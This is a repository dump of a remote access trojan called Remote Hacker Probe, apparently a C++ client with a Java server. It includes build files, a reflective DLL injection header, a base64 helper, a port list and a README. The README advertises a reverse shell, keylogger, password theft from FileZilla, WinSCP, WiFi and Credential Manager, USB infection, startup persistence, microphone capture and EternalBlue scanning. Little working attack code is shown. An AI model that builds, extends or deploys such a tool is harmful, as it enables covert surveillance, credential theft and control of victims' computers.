10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProbeCpp", "ProbeCpp.vcxproj", "{B6948B39-2260-4DA6-B233-85CAE67AEB60}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Debug|x64.ActiveCfg = Debug|x64 17 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Debug|x64.Build.0 = Debug|x64 18 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Debug|x86.Build.0 = Debug|Win32 20 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Release|x64.ActiveCfg = Release|x64 21 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Release|x64.Build.0 = Release|x64 22 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Release|x86.ActiveCfg = Release|Win32 23 | {B6948B39-2260-4DA6-B233-85CAE67AEB60}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {6E97D41C-E7D5-4A37-B503-3430AABADAC2} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ProbeCpp/ProbeCpp.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {b6948b39-2260-4da6-b233-85cae67aeb60} 25 | ProbeCpp 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | MultiByte 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | MultiByte 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | _CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS 90 | true 91 | 92 | 93 | Console 94 | true 95 | winmm.lib;%(AdditionalDependencies) 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | _CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS 105 | true 106 | MultiThreaded 107 | 108 | 109 | Console 110 | true 111 | true 112 | false 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | _CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS 120 | true 121 | 122 | 123 | Console 124 | true 125 | winmm.lib;%(AdditionalDependencies) 126 | 127 | 128 | 129 | 130 | Level3 131 | true 132 | true 133 | true 134 | _CRT_SECURE_NO_WARNINGS;_WINSOCK_DEPRECATED_NO_WARNINGS 135 | true 136 | MultiThreaded 137 | 138 | 139 | Console 140 | true 141 | true 142 | false 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | -------------------------------------------------------------------------------- /ProbeCpp/ProbeCpp.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | -------------------------------------------------------------------------------- /ProbeCpp/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// -------------------------------------------------------------------------------- /ProbeCpp/base64.h: -------------------------------------------------------------------------------- 1 | #ifndef BASE64 2 | #define BASE64 3 | 4 | #include 5 | /* 6 | BASE 64 Encoding and Decoding 7 | Original : https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp 8 | */ 9 | static const std::string base64_chars = 10 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 11 | "abcdefghijklmnopqrstuvwxyz" 12 | "0123456789+/"; 13 | 14 | 15 | static inline bool is_base64(unsigned char c) { 16 | return (isalnum(c) || (c == '+') || (c == '/')); 17 | } 18 | 19 | std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) { 20 | std::string ret; 21 | int i = 0; 22 | int j = 0; 23 | unsigned char char_array_3[3]; 24 | unsigned char char_array_4[4]; 25 | 26 | while (in_len--) { 27 | char_array_3[i++] = *(bytes_to_encode++); 28 | if (i == 3) { 29 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 30 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 31 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 32 | char_array_4[3] = char_array_3[2] & 0x3f; 33 | 34 | for (i = 0; (i < 4); i++) 35 | ret += base64_chars[char_array_4[i]]; 36 | i = 0; 37 | } 38 | } 39 | 40 | if (i) 41 | { 42 | for (j = i; j < 3; j++) 43 | char_array_3[j] = '\0'; 44 | 45 | char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; 46 | char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); 47 | char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); 48 | char_array_4[3] = char_array_3[2] & 0x3f; 49 | 50 | for (j = 0; (j < i + 1); j++) 51 | ret += base64_chars[char_array_4[j]]; 52 | 53 | while ((i++ < 3)) 54 | ret += '='; 55 | 56 | } 57 | 58 | return ret; 59 | 60 | } 61 | std::string base64_decode(std::string const& encoded_string) { 62 | int in_len = encoded_string.size(); 63 | int i = 0; 64 | int j = 0; 65 | int in_ = 0; 66 | unsigned char char_array_4[4], char_array_3[3]; 67 | std::string ret; 68 | 69 | while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { 70 | char_array_4[i++] = encoded_string[in_]; in_++; 71 | if (i == 4) { 72 | for (i = 0; i < 4; i++) 73 | char_array_4[i] = base64_chars.find(char_array_4[i]); 74 | 75 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 76 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 77 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 78 | 79 | for (i = 0; (i < 3); i++) 80 | ret += char_array_3[i]; 81 | i = 0; 82 | } 83 | } 84 | 85 | if (i) { 86 | for (j = i; j < 4; j++) 87 | char_array_4[j] = 0; 88 | 89 | for (j = 0; j < 4; j++) 90 | char_array_4[j] = base64_chars.find(char_array_4[j]); 91 | 92 | char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); 93 | char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); 94 | char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; 95 | 96 | for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; 97 | } 98 | 99 | return ret; 100 | } 101 | 102 | #endif // ! BASE64 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](img/rhp.png) 2 | --- 3 | 4 | The Remote Hacker Probe is a Remote Access and Post Exploitation Framework coded in C++/Java. 5 | 6 | --- 7 | 8 | ### Installation & Usage 9 | 1. Download Java 11+. 10 | 2. Download the Zip Attached in the [Latest Release](https://github.com/quantumcored/remote_hacker_probe/releases). 11 | 3. Run the file run-on-*linux*.desktop OR run-on-*windows*.bat 12 | 13 | --- 14 | 15 | ### Server Features : 16 | - Visually Appealing and Theme able Graphical User Interface featuring Dark, Light, Solarized Dark and Solarized Light themes. 17 | - Built for ease and usability, Remote Hacker Probe is extremely easy to use and Set up. 18 | - The Server is coded in Java meaning it is Cross Platform! It will run anywhere in a Java Runtime Environment (JRE). 19 | - Event Logging. 20 | - High Speed File Upload / Download. 21 | 22 | --- 23 | 24 | ### Main Features : 25 | - Execute DLL’s in memory using Reflective DLL Injection over Socket. 26 | - Download, Upload, Delete and browse the entire file System. 27 | - Reverse Shell, Full Access to the command line. 28 | - Scan Remote Network for hosts. 29 | - Port scan hosts in the Target Network. 30 | - Scan Remote Network for hosts vulerable to Eternal Blue. 31 | - Get Process Information by Process name. 32 | - Geolocate Client using IP Address on an interactive Map. 33 | - Shutdown / Restart the Remote PC. 34 | - Grab screenshot of the Remote PC. 35 | - Record Microphone input. 36 | - Add to Startup Persistence on command. 37 | - Display Message box. 38 | - Open URLS in the default browser. 39 | - USB Infection. 40 | - Active Window logging. 41 | - Client Path. 42 | - Keylogger. 43 | - Password Recovery. 44 | - Pidgin. 45 | - FileZilla. 46 | - Vault & IE. 47 | - WinSCP. 48 | - WiFi. 49 | - Credential Manager. 50 | - Task Manager. 51 | 52 | --- 53 | 54 | ### Screenshots 55 | ![1](img/solarizedlight.PNG) 56 | ![2](img/solarizeddark.PNG) 57 | ![3](img/dark.PNG) 58 | ![4](img/light.PNG) 59 | ![5](img/rshell.PNG) 60 | 61 | ### Video Tutorial ::: 62 | ### https://youtu.be/UnuEPy-cW4I 63 | 64 | #### Developer 65 | Hi my name's [Fahad](https://github.com/quantumcore). 66 | You may contact me, on [Discord](https://discordapp.com/invite/8snh7nx) or [My Website](https://quantumcored.com/) 67 | 68 | #### LICENSE 69 | [VIEW LICENSE](https://github.com/quantumcored/remote_hacker_probe/blob/main/LICENSE) 70 | 71 | The Developer is not responsible for any misuse or Damage caused by the program. This is created only to innovate InfoSec and **YOU**. :point_left: 72 | 73 | #### Donate 74 | Help me with my future projects. Thank you. 75 | [Donate with Crypto](https://commerce.coinbase.com/checkout/cebcb394-f73e-4990-98b9-b3fdd852358f) 76 | -------------------------------------------------------------------------------- /gui/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /gui/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | rhp 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.m2e.core.maven2Builder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.jdt.core.javanature 21 | org.eclipse.m2e.core.maven2Nature 22 | 23 | 24 | -------------------------------------------------------------------------------- /gui/GeoLite2-City.mmdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/GeoLite2-City.mmdb -------------------------------------------------------------------------------- /gui/common_ports.rhp: -------------------------------------------------------------------------------- 1 | netstat 15 2 | qotd 17 3 | msp 18 4 | chargen 19 5 | ftp 21 6 | ssh 22 7 | telnet 23 8 | SMTP 25 9 | HTTP 80 10 | HTTP 81 11 | DNS 53 12 | DHCP 67 13 | DHCP 68 14 | TFTP 69 15 | POP 3110 16 | NNTP 119 17 | NETBIOS 135 18 | NETBIOS 139 19 | IMAP4 143 20 | SNMP 161 21 | SNMP 162 22 | NTP 123 23 | LDAP 389 24 | HTTPS 443 25 | SMB 445 26 | LDAPS 636 27 | FTPS 989 28 | FTPS 990 29 | MSSQL 1433 30 | CommonPort 1499 31 | SSHAlt 2022 32 | SSHAlt 2122 33 | SSHAlt 2222 34 | Docker 2375 35 | Docker 2376 36 | CoreOSetcd2 380 37 | OrientDB 2480 38 | OracleDB 2483 39 | OracleDB 2484 40 | SQLAnywhere 2638 41 | CommonPort 3000 42 | CommonPort 3001 43 | CIFS 3020 44 | MySQL 3306 45 | RDP 3389 46 | RDP 3389 47 | CommonPort 3500 48 | CommonPort 3999 49 | CommonPort 4000 50 | CommonPort 4100 51 | AngularDev 4200 52 | Docker 4243 53 | Viber 4244 54 | Metasploit 4444 55 | CommonPort 4500 56 | Salt 4505 57 | Salt 4506 58 | CommonPort 5000 59 | CommonPort 5001 60 | RTP 5004 61 | RTCP 5005 62 | AndroidADB 5037 63 | PostgreSQL 5432 64 | CommonPort 5500 65 | Kibana 5601 66 | Nagios 5666 67 | Nagios 5667 68 | AMPQ 5672 69 | CommonPort 5800 70 | VNC 5900 71 | CounchDB 5984 72 | CommonPort 5999 73 | CommonPort 6000 74 | Varnishd 6082 75 | Redis 6379 76 | OpenFlow 6653 77 | IRC 6660 78 | IRC 6661 79 | IRC 6662 80 | IRC 6663 81 | IRC 6664 82 | IRC 6665 83 | IRC 6666 84 | IRC 6667 85 | IRC 6668 86 | IRC 6669 87 | Bittorrent 6888 88 | Bittorrent 6888 89 | Neo4J 7474 90 | OracleClusterFS 7777 91 | CommonPort 8000 92 | CommonPort 8001 93 | CommonPort 8002 94 | Tomcat 8005 95 | HTTP 8008 96 | CommonPort 8080 97 | Splunk 8089 98 | CommonPort 8081 99 | CommonPort 8123 100 | PuppetClient 8139 101 | PuppetMaster 8140 102 | IISManager 8172 103 | VMWare 8222 104 | Bitcoin 8333 105 | TomcatSSL 8443 106 | MAMP 8889 107 | ApacheSolr 8983 108 | CommonPort 8999 109 | PHP-FPM 9000 110 | TOR 9001 111 | TomcatStanalone 9006 112 | Cassandra 9042 113 | TOR 9050 114 | TOR 9051 115 | ApacheKafka 9092 116 | Elasticsearch 9200 117 | CommonPort 9500 118 | WebDAV 9800 119 | CommonPort 9999 120 | ZabbixAgent 10050 121 | ZabbixTrapper 10051 122 | Memcached 11211 123 | Memcached 11214 124 | Memcached 11215 125 | RabbitMQ 15672 126 | Memcached 18091 127 | Memcached 18092 128 | Mongodb 27017 129 | Mongodb 27018 130 | Mongodb 27019 131 | RethinkDB 28015 132 | RethinkDB 29015 133 | Jenkins 33848 134 | Openstack 35357 -------------------------------------------------------------------------------- /gui/icons/006-coding.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/006-coding.png -------------------------------------------------------------------------------- /gui/icons/010-download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/010-download.png -------------------------------------------------------------------------------- /gui/icons/012-favorite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/012-favorite.png -------------------------------------------------------------------------------- /gui/icons/013-data storage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/013-data storage.png -------------------------------------------------------------------------------- /gui/icons/014-internet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/014-internet.png -------------------------------------------------------------------------------- /gui/icons/019-security pin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/019-security pin.png -------------------------------------------------------------------------------- /gui/icons/020-lock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/020-lock.png -------------------------------------------------------------------------------- /gui/icons/026-network.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/026-network.png -------------------------------------------------------------------------------- /gui/icons/027-note.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/027-note.png -------------------------------------------------------------------------------- /gui/icons/029-notification.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/029-notification.png -------------------------------------------------------------------------------- /gui/icons/030-pop up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/030-pop up.png -------------------------------------------------------------------------------- /gui/icons/031-power.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/031-power.png -------------------------------------------------------------------------------- /gui/icons/032-profile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/032-profile.png -------------------------------------------------------------------------------- /gui/icons/033-rating.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/033-rating.png -------------------------------------------------------------------------------- /gui/icons/038-gear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/038-gear.png -------------------------------------------------------------------------------- /gui/icons/041-statistics.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/041-statistics.png -------------------------------------------------------------------------------- /gui/icons/045-trash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/045-trash.png -------------------------------------------------------------------------------- /gui/icons/047-upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/047-upload.png -------------------------------------------------------------------------------- /gui/icons/050-vision.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/050-vision.png -------------------------------------------------------------------------------- /gui/icons/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/11.png -------------------------------------------------------------------------------- /gui/icons/14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/14.png -------------------------------------------------------------------------------- /gui/icons/16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/16.png -------------------------------------------------------------------------------- /gui/icons/18.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/18.png -------------------------------------------------------------------------------- /gui/icons/20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/20.png -------------------------------------------------------------------------------- /gui/icons/21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/21.png -------------------------------------------------------------------------------- /gui/icons/22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/22.png -------------------------------------------------------------------------------- /gui/icons/23.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/23.png -------------------------------------------------------------------------------- /gui/icons/26.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/26.png -------------------------------------------------------------------------------- /gui/icons/30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/30.png -------------------------------------------------------------------------------- /gui/icons/31.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/31.png -------------------------------------------------------------------------------- /gui/icons/32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/32.png -------------------------------------------------------------------------------- /gui/icons/34.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/34.png -------------------------------------------------------------------------------- /gui/icons/35.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/35.png -------------------------------------------------------------------------------- /gui/icons/36.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/36.png -------------------------------------------------------------------------------- /gui/icons/37.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/37.png -------------------------------------------------------------------------------- /gui/icons/38.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/38.png -------------------------------------------------------------------------------- /gui/icons/39.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/39.png -------------------------------------------------------------------------------- /gui/icons/40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/40.png -------------------------------------------------------------------------------- /gui/icons/41.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/41.png -------------------------------------------------------------------------------- /gui/icons/42.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/42.png -------------------------------------------------------------------------------- /gui/icons/43.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/43.png -------------------------------------------------------------------------------- /gui/icons/44.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/44.png -------------------------------------------------------------------------------- /gui/icons/45.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/45.png -------------------------------------------------------------------------------- /gui/icons/46.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/46.png -------------------------------------------------------------------------------- /gui/icons/47.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/47.png -------------------------------------------------------------------------------- /gui/icons/49.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/49.png -------------------------------------------------------------------------------- /gui/icons/50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/50.png -------------------------------------------------------------------------------- /gui/icons/51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/51.png -------------------------------------------------------------------------------- /gui/icons/52.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/52.png -------------------------------------------------------------------------------- /gui/icons/53.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/53.png -------------------------------------------------------------------------------- /gui/icons/54.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/54.png -------------------------------------------------------------------------------- /gui/icons/55.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/55.png -------------------------------------------------------------------------------- /gui/icons/56.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/swagkarna/remote_hacker_probe/7918a21f80d23a7260393dc59fb04eb3b6eff664/gui/icons/56.png -------------------------------------------------------------------------------- /gui/icons/57.png: 